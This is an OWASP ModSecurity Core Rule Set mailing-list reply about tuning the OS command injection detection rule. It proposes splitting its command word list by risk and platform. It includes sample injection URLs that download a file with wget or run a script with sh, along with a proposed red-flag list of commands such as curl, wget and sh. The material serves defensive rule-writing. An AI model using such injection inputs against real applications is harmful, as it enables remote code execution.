> On 02 Feb 2016, at 09:17, Christian Folini <christian.fol...@netnea.com> > wrote: > > Controversial Paranoia Mode Candidate 950907 (2.2.X) / 932100 (3.0.0rc1) > msg: Sytem Command Injection > > […] > This rule is controversial for different reasons than the one in the previous > post. > > It was a simple regex in 2.2.X. For 3.0.0 it has been enriched with a > data file: > https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.0.0-rc1/rules/os-commands.data > > In a response to my blogpost > https://www.netnea.com/cms/2015/12/20/modsec-crs-2-2-x-vs-3-0-0-dev/ > Chaim conceded the 3.0.0 version is still plagued by a lot of false > positives. Obviously so, if you look at the commands. After all, unix > commands are close to natural English for a good reason. > > Now Franziska (collaborating on the paranoia mode) and I wonder if > it would not make sense to split > os-commands.data into two or more files. The commands with few > false positives would remain in the standard file, commands generating > lots of false positives could then be moved into > os-commands-paranoia.data and be referenced in a separate rule > copying the behaviour of the standard rule. > > Thoughts?
I like the idea of splitting the file. Overall I'm not satisfied with this new rule yet. I think the regexp needs some love too. I agree some of the words in os-commands.data seem rather paranoid. Words like "choice", "help", "now” seem of low value and are common in natural text. Also, the large number of Unix-only environments could skip Windows related commands. It’s hard for users to modify these lists as you’d have to hack the CRS, and these huge collections are to maintain anyhow, so I agree we need granularity. The rule has some regexp magic to prevent false positives, but the balance is not a complete success in my opinion. For instance, the following URLs don't trigger in CRSv3: http://vuln/?cmd=wget%20http://example.com/blah.txt http://vuln/?cmd=sh%20blah.txt So it's not as strong as you would want either to prevent some common RCE. Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo does trigger it. My ideas about this: 1) I think that a user should check their desired platforms in the setup conf. In fact, this would be great to do anyway in the initial 3.0.0 release even if we DON'T look at it in any rule yet. Specifying platform types will pave the way for reducing false positives and false negatives by skipping unnecessary checks and being more strict on the right platforms. So we could start by listing these platforms in the existing rule in the setup conf. Example: SecAction \ "id:'900024', \ phase:1, \ t:none, \ setvar:tx.unix=1, \ setvar:tx.windows=1, \ setvar:tx.java=1, \ setvar:tx.php=1, \ ... (By the way: I think it’s unfortunate that a user has to use value 1 to enable a check. An undefined variable will mean that the CRS will skip some rules. This makes it dangerous to introduce a new variable in the CRS later; all existing installations MUST then add this variable to their setup rule immediately, or suffer from reduced security. It’s better to use a scheme that defaults to “on”. A convention like “tx.disable_mysql=1” would be user unfriendly and error-prone. But we could check for an explicit “off” string, e.g. “setvar:tx.mysql=off”. If it’s not “off” then assume that the user DOES want the check. I think it’s important to get this right in 3.0.0, it will be more painful to do it later.) 2) Separate the words into multiple lists: os-commands-critical.data (absolute red flag list: "curl", "passwd", "sh", "uname", "wget" etc.) os-commands-paranoid.data (absolute low value, but high FP natural words like "choice") os-commands-windows.data (all Windows commands) os-commands-common.data (all other commands) 3) Review the current regexp against some test data and CRSv2 to make it more sensitive 4) Split the rule as follows: - "os-commands-critical.data": should be checked super strictly with a simple regexp and produce a critical score. My two example commands should definitely be blocked. - "os-commands-windows.data": use current algorithm, but only run this rule if the user is interested in Windows. (The inverse is probably not useful: a Windows system can have typical unix-like "wget" or "curl" binaries, so I think "os-commands-unix.data" is probably not wise to have.) - "os-commands-common.data": use current algorithm - "os-commands-paranoid.data": use current algorithm, paranoid mode only. -- Walter Hop | PGP key: https://lifeforms.nl/pgp
_______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
